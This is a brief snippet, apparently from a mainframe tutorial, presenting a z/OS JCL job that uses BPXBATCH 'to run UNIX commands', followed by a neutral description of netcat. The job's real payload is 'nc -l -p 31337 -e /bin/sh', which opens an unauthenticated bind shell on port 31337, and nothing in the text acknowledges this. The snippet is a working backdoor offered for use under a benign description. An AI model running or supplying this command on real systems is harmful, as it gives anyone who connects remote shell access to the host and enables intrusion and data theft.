The below is the sample JCL. You can use it to run UNIX commands through JCL.
JCL to Use BPXBATCH Utility
//COPYFILE JOB (INFO),'Execute UNIX',CLASS=A,MSGCLASS=0, // MSGLEVEL=(1,1),NOTIFY=&USERID //NETCAT EXEC PGM=BPXBATCH //STDIN DD SYSOUT=* //STDOUT DD SYSOUT=* //STDPARM DD * SH pwd; id; ./nc –l –p 31337 –e /bin/sh /*
‘nc’ is the command which runs netcat, a simple Unix utility that reads and writes data across network connections, using the TCP or UDP protocol. It is designed to be a reliable “back-end” tool that can be used directly or driven by other programs and scripts.
At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities